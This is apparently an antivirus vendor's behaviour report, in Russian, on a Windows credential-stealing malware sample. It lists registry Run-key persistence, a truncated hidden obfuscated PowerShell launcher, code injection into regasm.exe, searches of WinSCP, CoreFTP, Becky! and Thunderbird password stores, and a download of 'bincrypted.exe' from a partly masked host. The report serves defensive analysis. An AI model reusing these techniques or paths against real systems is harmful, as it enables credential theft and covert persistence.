Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'newapp' = '%APPDATA%\newapp\newapp.exe'
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\systempropertiesadvanced.url
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function j71536 {param($ybae4)$odaf9ff='q16b7b';$o81551='';for ($i=0; $i -lt $ybae4.length;$i+=2){$qe56d3f=[convert]::ToByte($ybae4.Substring($i,2),16);$o81551+=[char]($qe...
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe
Ищет ветки реестра, отвечающие за хранение паролей сторонними программами
- [<HKCU>\Software\RimArts\B2\Settings]
- [<HKCU>\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions]
- [<HKCU>\Software\FTPWare\COREFTP\Sites]
Читает файлы, отвечающие за хранение паролей сторонними программами
- %APPDATA%\thunderbird\profiles.ini
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\brcjdyeq.0.cs
- %TEMP%\brcjdyeq.cmdline
- %TEMP%\brcjdyeq.out
- %TEMP%\cscfc15.tmp
- %TEMP%\resfc26.tmp
- %TEMP%\brcjdyeq.dll
- %APPDATA%\j1333.exe
- %HOMEPATH%\systempropertiesadvanced\systempropertiesadvanced.vbs
- %HOMEPATH%\systempropertiesadvanced\aepic.exe
- %APPDATA%\newapp\newapp.exe
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\newapp\newapp.exe
Удаляет следующие файлы
- %TEMP%\resfc26.tmp
- %TEMP%\cscfc15.tmp
- %TEMP%\brcjdyeq.0.cs
- %TEMP%\brcjdyeq.out
- %TEMP%\brcjdyeq.dll
- %TEMP%\brcjdyeq.cmdline
- %TEMP%\brcjdyeq.pdb
Сетевая активность
TCP
Запросы HTTP GET
- http://gr######une-2749.ciao.jp/mad/bincrypted.exe
UDP
- DNS ASK gr######une-2749.ciao.jp
Другое
Создает и запускает на исполнение
- '%APPDATA%\j1333.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function j71536 {param($ybae4)$odaf9ff='q16b7b';$o81551='';for ($i=0; $i -lt $ybae4.length;$i+=2){$qe56d3f=[convert]::ToByte($ybae4.Substring($i,2),16);$o81551+=[char]($qe...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\brcjdyeq.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFC26.tmp" "%TEMP%\CSCFC15.tmp"' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\brcjdyeq.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFC26.tmp" "%TEMP%\CSCFC15.tmp"
- '%WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe'
